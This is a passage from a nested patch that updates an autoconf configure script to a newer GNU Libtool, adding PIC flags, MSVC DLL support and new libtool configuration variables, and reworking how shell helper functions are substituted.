- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9998,7 +10594,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -10017,9 +10613,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10595,8 +11191,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10629,13 +11226,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10727,7 +11382,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11523,7 +12178,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11526 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11567,10 +12222,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11629,7 +12284,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11632 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11673,10 +12328,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -15936,13 +16591,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -15957,14 +16619,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -15997,12 +16662,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -16057,8 +16722,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -16068,12 +16738,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -16089,7 +16761,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -16125,6 +16796,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -16891,7 +17563,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -16994,19 +17667,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -17036,6 +17732,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -17045,6 +17747,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -17159,12 +17864,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -17251,9 +17956,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -17269,6 +17971,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -17301,210 +18006,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
